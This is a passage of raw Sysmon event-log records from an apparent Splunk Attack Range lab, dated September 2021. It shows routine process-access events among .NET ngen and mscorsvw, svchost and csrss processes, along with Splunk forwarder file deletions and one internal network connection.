Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2B540043A343389167107ADF5ECEC16E,SHA256=D02B7A31F351B463A3DD4DC82AF09B2060B1649270579349421C984DAB7A1E46,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.516{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-790A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.496{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-790A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.496{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-790A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.456{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-780A-00000000F001}6004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.446{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-780A-00000000F001}6004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.446{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-780A-00000000F001}6004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.356{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-770A-00000000F001}6948C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.336{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-770A-00000000F001}6948C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.336{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-770A-00000000F001}6948C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.086{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=780F5107E6F518939415C4EB289538EF,SHA256=30346003EB0E361203406ED7DC84E39E9E231E1E32D2C85CF288DDD35C1EA8AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.086{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF8D57FF8C2ED358C646A6F3E3920871,SHA256=4B4F2B20FA763838CB4FB33173BC4B14D0C1A16B92525852EFA6C0E15857E1DC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.075{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-760A-00000000F001}6820C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.068{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-760A-00000000F001}6820C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.068{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-760A-00000000F001}6820C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.025{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-750A-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.015{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-750A-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.015{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-750A-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.978{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-870A-00000000F001}6612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.958{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-870A-00000000F001}6612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.958{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-870A-00000000F001}6612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.928{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-860A-00000000F001}6968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.908{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-860A-00000000F001}6968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.908{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-860A-00000000F001}6968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000014007Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:23.531{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50128-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014006Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:24.045{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=919D1B41D4E38D771EE8F26B922FAB20,SHA256=50D5C4CDF7FCE5A09045BC860938EE6F720DCD16537C24EEA6B9C5A9FECFE27E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 